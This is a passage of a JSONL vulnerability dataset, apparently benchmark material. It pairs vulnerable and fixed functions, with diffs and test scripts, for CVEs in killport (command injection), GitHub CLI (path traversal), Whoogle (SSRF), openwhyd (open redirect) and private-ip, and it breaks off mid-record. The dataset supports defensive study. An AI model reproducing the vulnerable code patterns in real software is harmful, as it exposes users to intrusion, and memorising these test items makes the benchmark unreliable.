{"cve_id": "CVE-2021-23360", "cve_description": "This affects the package killport before 1.0.2. If (attacker-controlled) user input is given, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization. Running this PoC will cause the command touch success to be executed, leading to the creation of a file called success.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/ssnau/killport", "patch_url": ["https://github.com/ssnau/killport/commit/bec8e371f170a12e11cd222ffc7a6e1ae9942638"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_105_1", "commit": "5268f23", "file_path": "index.js", "start_line": 6, "end_line": 43, "snippet": "module.exports = function killport(port) {\n  return (new Promise(function(resolve, reject) {\n    var cmd = 'lsof -i:' + port; \n    cp.exec(cmd, function(err, stdout, stderr){\n      // do not check `err`, if no process found\n      // err will be an instance of Error\n      if (stderr) return reject(stderr);\n      var lines = String(stdout).split('\\n').filter(notEmpty);\n      var pids = lines.map(function(line){\n        var blocks = line.split(/\\s+/);\n        if (blocks[1] && +blocks[1]) {\n          return +blocks[1];\n        }\n        return null;\n      }).filter(notEmpty);\n\n      if (!pids.length) {\n        return resolve('no pids found');\n      }\n\n      var infs = [];\n      return async.each(pids, function(pid, next) {\n        console.log('kill ' + pid);\n        cp.exec('kill ' + pid, function (err, stdout, stderr) {\n          infs.push({\n            pid: pid,\n            err: err,\n            stderr: stderr,\n            stdout: stdout\n          });\n          next();\n        });\n      }, function(err) {\n        resolve(infs);\n      });\n    });\n  }))\n};"}], "fix_func": [{"id": "fix_js_105_1", "commit": "bec8e37", "file_path": "index.js", "start_line": 6, "end_line": 44, "snippet": "module.exports = function killport(port) {\n  return (new Promise(function(resolve, reject) {\n    if (!/^\\d+$/.test(port)) throw new Error('port must be a number.');\n    var cmd = 'lsof -i:' + port; \n    cp.exec(cmd, function(err, stdout, stderr){\n      // do not check `err`, if no process found\n      // err will be an instance of Error\n      if (stderr) return reject(stderr);\n      var lines = String(stdout).split('\\n').filter(notEmpty);\n      var pids = lines.map(function(line){\n        var blocks = line.split(/\\s+/);\n        if (blocks[1] && +blocks[1]) {\n          return +blocks[1];\n        }\n        return null;\n      }).filter(notEmpty);\n\n      if (!pids.length) {\n        return resolve('no pids found');\n      }\n\n      var infs = [];\n      return async.each(pids, function(pid, next) {\n        console.log('kill ' + pid);\n        cp.exec('kill ' + pid, function (err, stdout, stderr) {\n          infs.push({\n            pid: pid,\n            err: err,\n            stderr: stderr,\n            stdout: stdout\n          });\n          next();\n        });\n      }, function(err) {\n        resolve(infs);\n      });\n    });\n  }))\n};"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1,5 +1,6 @@\n module.exports = function killport(port) {\n   return (new Promise(function(resolve, reject) {\n+    if (!/^\\d+$/.test(port)) throw new Error('port must be a number.');\n     var cmd = 'lsof -i:' + port; \n     cp.exec(cmd, function(err, stdout, stderr){\n       // do not check `err`, if no process found\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-54132", "cve_description": "The GitHub CLI is GitHub\u2019s official command line tool. A security vulnerability has been identified in GitHub CLI that could create or overwrite files in unintended directories when users download a malicious GitHub Actions workflow artifact through gh run download. This vulnerability stems from a GitHub Actions workflow artifact named .. when downloaded using gh run download. The artifact name and --dir flag are used to determine the artifact\u2019s download path. When the artifact is named .., the resulting files within the artifact are extracted exactly 1 directory higher than the specified --dir flag value. This vulnerability is fixed in 2.63.1.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/cli/cli", "patch_url": ["https://github.com/cli/cli/commit/1136764c369aaf0cae4ec2ee09dc35d871076932"], "programing_language": "Go", "vul_func": [{"id": "vul_go_21_1", "commit": "7c241cf", "file_path": "pkg/cmd/run/download/download.go", "start_line": 106, "end_line": 184, "snippet": "func runDownload(opts *DownloadOptions) error {\n\topts.IO.StartProgressIndicator()\n\tartifacts, err := opts.Platform.List(opts.RunID)\n\topts.IO.StopProgressIndicator()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error fetching artifacts: %w\", err)\n\t}\n\n\tnumValidArtifacts := 0\n\tfor _, a := range artifacts {\n\t\tif a.Expired {\n\t\t\tcontinue\n\t\t}\n\t\tnumValidArtifacts++\n\t}\n\tif numValidArtifacts == 0 {\n\t\treturn errors.New(\"no valid artifacts found to download\")\n\t}\n\n\twantPatterns := opts.FilePatterns\n\twantNames := opts.Names\n\tif opts.DoPrompt {\n\t\tartifactNames := set.NewStringSet()\n\t\tfor _, a := range artifacts {\n\t\t\tif !a.Expired {\n\t\t\t\tartifactNames.Add(a.Name)\n\t\t\t}\n\t\t}\n\t\toptions := artifactNames.ToSlice()\n\t\tif len(options) > 10 {\n\t\t\toptions = options[:10]\n\t\t}\n\t\tvar selected []int\n\t\tif selected, err = opts.Prompter.MultiSelect(\"Select artifacts to download:\", nil, options); err != nil {\n\t\t\treturn err\n\t\t}\n\t\twantNames = []string{}\n\t\tfor _, x := range selected {\n\t\t\twantNames = append(wantNames, options[x])\n\t\t}\n\t\tif len(wantNames) == 0 {\n\t\t\treturn errors.New(\"no artifacts selected\")\n\t\t}\n\t}\n\n\topts.IO.StartProgressIndicator()\n\tdefer opts.IO.StopProgressIndicator()\n\n\t// track downloaded artifacts and avoid re-downloading any of the same name\n\tdownloaded := set.NewStringSet()\n\tfor _, a := range artifacts {\n\t\tif a.Expired {\n\t\t\tcontinue\n\t\t}\n\t\tif downloaded.Contains(a.Name) {\n\t\t\tcontinue\n\t\t}\n\t\tif len(wantNames) > 0 || len(wantPatterns) > 0 {\n\t\t\tif !matchAnyName(wantNames, a.Name) && !matchAnyPattern(wantPatterns, a.Name) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\tdestDir := opts.DestinationDir\n\t\tif len(wantPatterns) != 0 || len(wantNames) != 1 {\n\t\t\tdestDir = filepath.Join(destDir, a.Name)\n\t\t}\n\t\terr := opts.Platform.Download(a.DownloadURL, destDir)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error downloading %s: %w\", a.Name, err)\n\t\t}\n\t\tdownloaded.Add(a.Name)\n\t}\n\n\tif downloaded.Len() == 0 {\n\t\treturn errors.New(\"no artifact matches any of the names or patterns provided\")\n\t}\n\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_21_1", "commit": "1136764", "file_path": "pkg/cmd/run/download/download.go", "start_line": 106, "end_line": 211, "snippet": "func runDownload(opts *DownloadOptions) error {\n\topts.IO.StartProgressIndicator()\n\tartifacts, err := opts.Platform.List(opts.RunID)\n\topts.IO.StopProgressIndicator()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error fetching artifacts: %w\", err)\n\t}\n\n\tnumValidArtifacts := 0\n\tfor _, a := range artifacts {\n\t\tif a.Expired {\n\t\t\tcontinue\n\t\t}\n\t\tnumValidArtifacts++\n\t}\n\tif numValidArtifacts == 0 {\n\t\treturn errors.New(\"no valid artifacts found to download\")\n\t}\n\n\twantPatterns := opts.FilePatterns\n\twantNames := opts.Names\n\tif opts.DoPrompt {\n\t\tartifactNames := set.NewStringSet()\n\t\tfor _, a := range artifacts {\n\t\t\tif !a.Expired {\n\t\t\t\tartifactNames.Add(a.Name)\n\t\t\t}\n\t\t}\n\t\toptions := artifactNames.ToSlice()\n\t\tif len(options) > 10 {\n\t\t\toptions = options[:10]\n\t\t}\n\t\tvar selected []int\n\t\tif selected, err = opts.Prompter.MultiSelect(\"Select artifacts to download:\", nil, options); err != nil {\n\t\t\treturn err\n\t\t}\n\t\twantNames = []string{}\n\t\tfor _, x := range selected {\n\t\t\twantNames = append(wantNames, options[x])\n\t\t}\n\t\tif len(wantNames) == 0 {\n\t\t\treturn errors.New(\"no artifacts selected\")\n\t\t}\n\t}\n\n\topts.IO.StartProgressIndicator()\n\tdefer opts.IO.StopProgressIndicator()\n\n\t// track downloaded artifacts and avoid re-downloading any of the same name, isolate if multiple artifacts\n\tdownloaded := set.NewStringSet()\n\tisolateArtifacts := isolateArtifacts(wantNames, wantPatterns)\n\n\tfor _, a := range artifacts {\n\t\tif a.Expired {\n\t\t\tcontinue\n\t\t}\n\t\tif downloaded.Contains(a.Name) {\n\t\t\tcontinue\n\t\t}\n\t\tif len(wantNames) > 0 || len(wantPatterns) > 0 {\n\t\t\tif !matchAnyName(wantNames, a.Name) && !matchAnyPattern(wantPatterns, a.Name) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\tdestDir := opts.DestinationDir\n\t\tif isolateArtifacts {\n\t\t\tdestDir = filepath.Join(destDir, a.Name)\n\t\t}\n\n\t\tif !filepathDescendsFrom(destDir, opts.DestinationDir) {\n\t\t\treturn fmt.Errorf(\"error downloading %s: would result in path traversal\", a.Name)\n\t\t}\n\n\t\terr := opts.Platform.Download(a.DownloadURL, destDir)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error downloading %s: %w\", a.Name, err)\n\t\t}\n\t\tdownloaded.Add(a.Name)\n\t}\n\n\tif downloaded.Len() == 0 {\n\t\treturn errors.New(\"no artifact matches any of the names or patterns provided\")\n\t}\n\n\treturn nil\n}\n\nfunc isolateArtifacts(wantNames []string, wantPatterns []string) bool {\n\tif len(wantPatterns) > 0 {\n\t\t// Patterns can match multiple artifacts\n\t\treturn true\n\t}\n\n\tif len(wantNames) == 0 {\n\t\t// All artifacts wanted regardless what they are named\n\t\treturn true\n\t}\n\n\tif len(wantNames) > 1 {\n\t\t// Multiple, specific artifacts wanted\n\t\treturn true\n\t}\n\n\treturn false\n}"}, {"id": "fix_go_21_2", "commit": "1136764", "file_path": "pkg/cmd/run/download/zip.go", "start_line": 73, "end_line": 95, "snippet": "func filepathDescendsFrom(p, dir string) bool {\n\t// Regardless of the logic below, `p` is never allowed to be current directory `.` or parent directory `..`\n\t// however we check explicitly here before filepath.Rel() which doesn't cover all cases.\n\tp = filepath.Clean(p)\n\n\tif p == \".\" || p == \"..\" {\n\t\treturn false\n\t}\n\n\t// filepathDescendsFrom() takes advantage of filepath.Rel() to determine if `p` is descended from `dir`:\n\t//\n\t// 1. filepath.Rel() calculates a path to traversal from fictious `dir` to `p`.\n\t// 2. filepath.Rel() errors in a handful of cases where absolute and relative paths are compared as well as certain traversal edge cases\n\t//    For more information, https://github.com/golang/go/blob/00709919d09904b17cfe3bfeb35521cbd3fb04f8/src/path/filepath/path_test.go#L1510-L1515\n\t// 3. If the path to traverse `dir` to `p` requires `..`, then we know it is not descend from / contained in `dir`\n\t//\n\t// As-is, this function requires the caller to ensure `p` and `dir` are either 1) both relative or 2) both absolute.\n\trelativePath, err := filepath.Rel(dir, p)\n\tif err != nil {\n\t\treturn false\n\t}\n\treturn !strings.HasPrefix(relativePath, \"..\")\n}"}], "vul_patch": "--- a/pkg/cmd/run/download/download.go\n+++ b/pkg/cmd/run/download/download.go\n@@ -46,8 +46,10 @@\n \topts.IO.StartProgressIndicator()\n \tdefer opts.IO.StopProgressIndicator()\n \n-\t// track downloaded artifacts and avoid re-downloading any of the same name\n+\t// track downloaded artifacts and avoid re-downloading any of the same name, isolate if multiple artifacts\n \tdownloaded := set.NewStringSet()\n+\tisolateArtifacts := isolateArtifacts(wantNames, wantPatterns)\n+\n \tfor _, a := range artifacts {\n \t\tif a.Expired {\n \t\t\tcontinue\n@@ -60,10 +62,16 @@\n \t\t\t\tcontinue\n \t\t\t}\n \t\t}\n+\n \t\tdestDir := opts.DestinationDir\n-\t\tif len(wantPatterns) != 0 || len(wantNames) != 1 {\n+\t\tif isolateArtifacts {\n \t\t\tdestDir = filepath.Join(destDir, a.Name)\n \t\t}\n+\n+\t\tif !filepathDescendsFrom(destDir, opts.DestinationDir) {\n+\t\t\treturn fmt.Errorf(\"error downloading %s: would result in path traversal\", a.Name)\n+\t\t}\n+\n \t\terr := opts.Platform.Download(a.DownloadURL, destDir)\n \t\tif err != nil {\n \t\t\treturn fmt.Errorf(\"error downloading %s: %w\", a.Name, err)\n@@ -77,3 +85,22 @@\n \n \treturn nil\n }\n+\n+func isolateArtifacts(wantNames []string, wantPatterns []string) bool {\n+\tif len(wantPatterns) > 0 {\n+\t\t// Patterns can match multiple artifacts\n+\t\treturn true\n+\t}\n+\n+\tif len(wantNames) == 0 {\n+\t\t// All artifacts wanted regardless what they are named\n+\t\treturn true\n+\t}\n+\n+\tif len(wantNames) > 1 {\n+\t\t// Multiple, specific artifacts wanted\n+\t\treturn true\n+\t}\n+\n+\treturn false\n+}\n\n--- /dev/null\n+++ b/pkg/cmd/run/download/download.go\n@@ -0,0 +1,23 @@\n+func filepathDescendsFrom(p, dir string) bool {\n+\t// Regardless of the logic below, `p` is never allowed to be current directory `.` or parent directory `..`\n+\t// however we check explicitly here before filepath.Rel() which doesn't cover all cases.\n+\tp = filepath.Clean(p)\n+\n+\tif p == \".\" || p == \"..\" {\n+\t\treturn false\n+\t}\n+\n+\t// filepathDescendsFrom() takes advantage of filepath.Rel() to determine if `p` is descended from `dir`:\n+\t//\n+\t// 1. filepath.Rel() calculates a path to traversal from fictious `dir` to `p`.\n+\t// 2. filepath.Rel() errors in a handful of cases where absolute and relative paths are compared as well as certain traversal edge cases\n+\t//    For more information, https://github.com/golang/go/blob/00709919d09904b17cfe3bfeb35521cbd3fb04f8/src/path/filepath/path_test.go#L1510-L1515\n+\t// 3. If the path to traverse `dir` to `p` requires `..`, then we know it is not descend from / contained in `dir`\n+\t//\n+\t// As-is, this function requires the caller to ensure `p` and `dir` are either 1) both relative or 2) both absolute.\n+\trelativePath, err := filepath.Rel(dir, p)\n+\tif err != nil {\n+\t\treturn false\n+\t}\n+\treturn !strings.HasPrefix(relativePath, \"..\")\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-54132:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/cli\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test   -timeout 30s -run ^Test_runDownload$ github.com/cli/cli/v2/pkg/cmd/run/download\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-54132:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/cli\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(Test_NewCmdDownload|Test_filepathDescendsFrom|Test_extractZip)$' github.com/cli/cli/v2/pkg/cmd/run/download"}
{"cve_id": "CVE-2024-22205", "cve_description": "Whoogle Search is a self-hosted metasearch engine. In versions 0.8.3 and prior, the `window` endpoint does not sanitize user-supplied input from the `location` variable and passes it to the `send` method which sends a `GET` request on lines 339-343 in `request.py,` which leads to a server-side request forgery. This issue allows for crafting GET requests to internal and external resources on behalf of the server. For example, this issue would allow for accessing resources on the internal network that the server has access to, even though these resources may not be accessible on the internet. This issue is fixed in version 0.8.4.\n\n", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/benbusby/whoogle-search", "patch_url": ["https://github.com/benbusby/whoogle-search/commit/3a2e0b262e4a076a20416b45e6b6f23fd265aeda"], "programing_language": "Python", "vul_func": [{"id": "vul_py_189_1", "commit": "8830615", "file_path": "app/routes.py", "start_line": 419, "end_line": 452, "snippet": "def config():\n    config_disabled = (\n            app.config['CONFIG_DISABLE'] or\n            not valid_user_session(session))\n    if request.method == 'GET':\n        return json.dumps(g.user_config.__dict__)\n    elif request.method == 'PUT' and not config_disabled:\n        if 'name' in request.args:\n            config_pkl = os.path.join(\n                app.config['CONFIG_PATH'],\n                request.args.get('name'))\n            session['config'] = (pickle.load(open(config_pkl, 'rb'))\n                                 if os.path.exists(config_pkl)\n                                 else session['config'])\n            return json.dumps(session['config'])\n        else:\n            return json.dumps({})\n    elif not config_disabled:\n        config_data = request.form.to_dict()\n        if 'url' not in config_data or not config_data['url']:\n            config_data['url'] = g.user_config.url\n\n        # Save config by name to allow a user to easily load later\n        if 'name' in request.args:\n            pickle.dump(\n                config_data,\n                open(os.path.join(\n                    app.config['CONFIG_PATH'],\n                    request.args.get('name')), 'wb'))\n\n        session['config'] = config_data\n        return redirect(config_data['url'])\n    else:\n        return redirect(url_for('.index'), code=403)"}, {"id": "vul_py_189_2", "commit": "8830615", "file_path": "app/routes.py", "start_line": 465, "end_line": 490, "snippet": "def element():\n    element_url = src_url = request.args.get('url')\n    if element_url.startswith('gAAAAA'):\n        try:\n            cipher_suite = Fernet(g.session_key)\n            src_url = cipher_suite.decrypt(element_url.encode()).decode()\n        except (InvalidSignature, InvalidToken) as e:\n            return render_template(\n                'error.html',\n                error_message=str(e)), 401\n\n    src_type = request.args.get('type')\n\n    try:\n        file_data = g.user_request.send(base_url=src_url).content\n        tmp_mem = io.BytesIO()\n        tmp_mem.write(file_data)\n        tmp_mem.seek(0)\n\n        return send_file(tmp_mem, mimetype=src_type)\n    except exceptions.RequestException:\n        pass\n\n    empty_gif = base64.b64decode(\n        'R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==')\n    return send_file(io.BytesIO(empty_gif), mimetype='image/gif')"}, {"id": "vul_py_189_3", "commit": "8830615", "file_path": "app/routes.py", "start_line": 496, "end_line": 557, "snippet": "def window():\n    target_url = request.args.get('location')\n    if target_url.startswith('gAAAAA'):\n        cipher_suite = Fernet(g.session_key)\n        target_url = cipher_suite.decrypt(target_url.encode()).decode()\n\n    content_filter = Filter(\n        g.session_key,\n        root_url=request.url_root,\n        config=g.user_config)\n    target = urlparse.urlparse(target_url)\n    host_url = f'{target.scheme}://{target.netloc}'\n\n    get_body = g.user_request.send(base_url=target_url).text\n\n    results = bsoup(get_body, 'html.parser')\n    src_attrs = ['src', 'href', 'srcset', 'data-srcset', 'data-src']\n\n    # Parse HTML response and replace relative links w/ absolute\n    for element in results.find_all():\n        for attr in src_attrs:\n            if not element.has_attr(attr) or not element[attr].startswith('/'):\n                continue\n\n            element[attr] = host_url + element[attr]\n\n    # Replace or remove javascript sources\n    for script in results.find_all('script', {'src': True}):\n        if 'nojs' in request.args:\n            script.decompose()\n        else:\n            content_filter.update_element_src(script, 'application/javascript')\n\n    # Replace all possible image attributes\n    img_sources = ['src', 'data-src', 'data-srcset', 'srcset']\n    for img in results.find_all('img'):\n        _ = [\n            content_filter.update_element_src(img, 'image/png', attr=_)\n            for _ in img_sources if img.has_attr(_)\n        ]\n\n    # Replace all stylesheet sources\n    for link in results.find_all('link', {'href': True}):\n        content_filter.update_element_src(link, 'text/css', attr='href')\n\n    # Use anonymous view for all links on page\n    for a in results.find_all('a', {'href': True}):\n        a['href'] = f'{Endpoint.window}?location=' + a['href'] + (\n            '&nojs=1' if 'nojs' in request.args else '')\n\n    # Remove all iframes -- these are commonly used inside of <noscript> tags\n    # to enforce loading Google Analytics\n    for iframe in results.find_all('iframe'):\n        iframe.decompose()\n\n    return render_template(\n        'display.html',\n        response=results,\n        translation=app.config['TRANSLATIONS'][\n            g.user_config.get_localization_lang()\n        ]\n    )"}], "fix_func": [{"id": "fix_py_189_1", "commit": "3a2e0b2", "file_path": "app/routes.py", "start_line": 421, "end_line": 459, "snippet": "def config():\n    config_disabled = (\n            app.config['CONFIG_DISABLE'] or\n            not valid_user_session(session))\n\n    name = ''\n    if 'name' in request.args:\n        name = os.path.normpath(request.args.get('name'))\n        if not re.match(r'^[A-Za-z0-9_.+-]+$', name):\n            return make_response('Invalid config name', 400)\n\n    if request.method == 'GET':\n        return json.dumps(g.user_config.__dict__)\n    elif request.method == 'PUT' and not config_disabled:\n        if name:\n            config_pkl = os.path.join(app.config['CONFIG_PATH'], name)\n            session['config'] = (pickle.load(open(config_pkl, 'rb'))\n                                 if os.path.exists(config_pkl)\n                                 else session['config'])\n            return json.dumps(session['config'])\n        else:\n            return json.dumps({})\n    elif not config_disabled:\n        config_data = request.form.to_dict()\n        if 'url' not in config_data or not config_data['url']:\n            config_data['url'] = g.user_config.url\n\n        # Save config by name to allow a user to easily load later\n        if 'name' in request.args:\n            pickle.dump(\n                config_data,\n                open(os.path.join(\n                    app.config['CONFIG_PATH'],\n                    name), 'wb'))\n\n        session['config'] = config_data\n        return redirect(config_data['url'])\n    else:\n        return redirect(url_for('.index'), code=403)"}, {"id": "fix_py_189_2", "commit": "3a2e0b2", "file_path": "app/routes.py", "start_line": 472, "end_line": 502, "snippet": "def element():\n    empty_gif = base64.b64decode(\n        'R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==')\n    element_url = src_url = request.args.get('url')\n    if element_url.startswith('gAAAAA'):\n        try:\n            cipher_suite = Fernet(g.session_key)\n            src_url = cipher_suite.decrypt(element_url.encode()).decode()\n        except (InvalidSignature, InvalidToken) as e:\n            return render_template(\n                'error.html',\n                error_message=str(e)), 401\n\n    src_type = request.args.get('type')\n\n    # Ensure requested element is from a valid domain\n    domain = urlparse.urlparse(src_url).netloc\n    if not validators.domain(domain):\n        return send_file(io.BytesIO(empty_gif), mimetype='image/gif')\n\n    try:\n        file_data = g.user_request.send(base_url=src_url).content\n        tmp_mem = io.BytesIO()\n        tmp_mem.write(file_data)\n        tmp_mem.seek(0)\n\n        return send_file(tmp_mem, mimetype=src_type)\n    except exceptions.RequestException:\n        pass\n\n    return send_file(io.BytesIO(empty_gif), mimetype='image/gif')"}, {"id": "fix_py_189_3", "commit": "3a2e0b2", "file_path": "app/routes.py", "start_line": 508, "end_line": 576, "snippet": "def window():\n    target_url = request.args.get('location')\n    if target_url.startswith('gAAAAA'):\n        cipher_suite = Fernet(g.session_key)\n        target_url = cipher_suite.decrypt(target_url.encode()).decode()\n\n    content_filter = Filter(\n        g.session_key,\n        root_url=request.url_root,\n        config=g.user_config)\n    target = urlparse.urlparse(target_url)\n\n    # Ensure requested URL has a valid domain\n    if not validators.domain(target.netloc):\n        return render_template(\n            'error.html',\n            error_message='Invalid location'), 400\n\n    host_url = f'{target.scheme}://{target.netloc}'\n\n    get_body = g.user_request.send(base_url=target_url).text\n\n    results = bsoup(get_body, 'html.parser')\n    src_attrs = ['src', 'href', 'srcset', 'data-srcset', 'data-src']\n\n    # Parse HTML response and replace relative links w/ absolute\n    for element in results.find_all():\n        for attr in src_attrs:\n            if not element.has_attr(attr) or not element[attr].startswith('/'):\n                continue\n\n            element[attr] = host_url + element[attr]\n\n    # Replace or remove javascript sources\n    for script in results.find_all('script', {'src': True}):\n        if 'nojs' in request.args:\n            script.decompose()\n        else:\n            content_filter.update_element_src(script, 'application/javascript')\n\n    # Replace all possible image attributes\n    img_sources = ['src', 'data-src', 'data-srcset', 'srcset']\n    for img in results.find_all('img'):\n        _ = [\n            content_filter.update_element_src(img, 'image/png', attr=_)\n            for _ in img_sources if img.has_attr(_)\n        ]\n\n    # Replace all stylesheet sources\n    for link in results.find_all('link', {'href': True}):\n        content_filter.update_element_src(link, 'text/css', attr='href')\n\n    # Use anonymous view for all links on page\n    for a in results.find_all('a', {'href': True}):\n        a['href'] = f'{Endpoint.window}?location=' + a['href'] + (\n            '&nojs=1' if 'nojs' in request.args else '')\n\n    # Remove all iframes -- these are commonly used inside of <noscript> tags\n    # to enforce loading Google Analytics\n    for iframe in results.find_all('iframe'):\n        iframe.decompose()\n\n    return render_template(\n        'display.html',\n        response=results,\n        translation=app.config['TRANSLATIONS'][\n            g.user_config.get_localization_lang()\n        ]\n    )"}], "vul_patch": "--- a/app/routes.py\n+++ b/app/routes.py\n@@ -2,13 +2,18 @@\n     config_disabled = (\n             app.config['CONFIG_DISABLE'] or\n             not valid_user_session(session))\n+\n+    name = ''\n+    if 'name' in request.args:\n+        name = os.path.normpath(request.args.get('name'))\n+        if not re.match(r'^[A-Za-z0-9_.+-]+$', name):\n+            return make_response('Invalid config name', 400)\n+\n     if request.method == 'GET':\n         return json.dumps(g.user_config.__dict__)\n     elif request.method == 'PUT' and not config_disabled:\n-        if 'name' in request.args:\n-            config_pkl = os.path.join(\n-                app.config['CONFIG_PATH'],\n-                request.args.get('name'))\n+        if name:\n+            config_pkl = os.path.join(app.config['CONFIG_PATH'], name)\n             session['config'] = (pickle.load(open(config_pkl, 'rb'))\n                                  if os.path.exists(config_pkl)\n                                  else session['config'])\n@@ -26,7 +31,7 @@\n                 config_data,\n                 open(os.path.join(\n                     app.config['CONFIG_PATH'],\n-                    request.args.get('name')), 'wb'))\n+                    name), 'wb'))\n \n         session['config'] = config_data\n         return redirect(config_data['url'])\n\n--- a/app/routes.py\n+++ b/app/routes.py\n@@ -1,4 +1,6 @@\n def element():\n+    empty_gif = base64.b64decode(\n+        'R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==')\n     element_url = src_url = request.args.get('url')\n     if element_url.startswith('gAAAAA'):\n         try:\n@@ -11,6 +13,11 @@\n \n     src_type = request.args.get('type')\n \n+    # Ensure requested element is from a valid domain\n+    domain = urlparse.urlparse(src_url).netloc\n+    if not validators.domain(domain):\n+        return send_file(io.BytesIO(empty_gif), mimetype='image/gif')\n+\n     try:\n         file_data = g.user_request.send(base_url=src_url).content\n         tmp_mem = io.BytesIO()\n@@ -21,6 +28,4 @@\n     except exceptions.RequestException:\n         pass\n \n-    empty_gif = base64.b64decode(\n-        'R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==')\n     return send_file(io.BytesIO(empty_gif), mimetype='image/gif')\n\n--- a/app/routes.py\n+++ b/app/routes.py\n@@ -9,6 +9,13 @@\n         root_url=request.url_root,\n         config=g.user_config)\n     target = urlparse.urlparse(target_url)\n+\n+    # Ensure requested URL has a valid domain\n+    if not validators.domain(target.netloc):\n+        return render_template(\n+            'error.html',\n+            error_message='Invalid location'), 400\n+\n     host_url = f'{target.scheme}://{target.netloc}'\n \n     get_body = g.user_request.send(base_url=target_url).text\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-3829", "cve_description": "openwhyd is vulnerable to URL Redirection to Untrusted Site", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/openwhyd/openwhyd", "patch_url": ["https://github.com/openwhyd/openwhyd/commit/38707930103dcba49d89d993f56bebd346069640"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_173_1", "commit": "8fa2e93", "file_path": "app/models/logging.js", "start_line": 263, "end_line": 267, "snippet": "http.ServerResponse.prototype.safeRedirect = function (url) {\n  const fullURL = new URL(url, config.urlPrefix);\n  if (!fullURL.toString().startsWith(config.urlPrefix)) return this.forbidden();\n  this.redirect(url);\n};"}], "fix_func": [{"id": "fix_js_173_1", "commit": "3870793", "file_path": "app/models/logging.js", "start_line": 263, "end_line": 268, "snippet": "http.ServerResponse.prototype.safeRedirect = function (url) {\n  const fullURL = new URL(url, config.urlPrefix);\n  if (`${fullURL.protocol}//${fullURL.host}` !== config.urlPrefix)\n    return this.forbidden();\n  this.redirect(url);\n};"}], "vul_patch": "--- a/app/models/logging.js\n+++ b/app/models/logging.js\n@@ -1,5 +1,6 @@\n http.ServerResponse.prototype.safeRedirect = function (url) {\n   const fullURL = new URL(url, config.urlPrefix);\n-  if (!fullURL.toString().startsWith(config.urlPrefix)) return this.forbidden();\n+  if (`${fullURL.protocol}//${fullURL.host}` !== config.urlPrefix)\n+    return this.forbidden();\n   this.redirect(url);\n };\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-28360", "cve_description": "Insufficient RegEx in private-ip npm package v1.0.5 and below insufficiently filters reserved IP ranges resulting in indeterminate SSRF. An attacker can perform a large range of requests to ARIN reserved IP ranges, resulting in an indeterminable number of critical attack vectors, allowing remote attackers to request server-side resources or potentially execute arbitrary code through various SSRF techniques.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/frenchbread/private-ip", "patch_url": ["https://github.com/frenchbread/private-ip/commit/840664c4b9ba7888c41cfee9666e9a593db133e9"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_1_1", "commit": "ce3d745", "file_path": "src/index.js", "start_line": 1, "end_line": 11, "snippet": "export default (ip) => (\n  /^(::f{4}:)?10\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/i.test(ip) ||\n  /^(::f{4}:)?192\\.168\\.([0-9]{1,3})\\.([0-9]{1,3})$/i.test(ip) ||\n  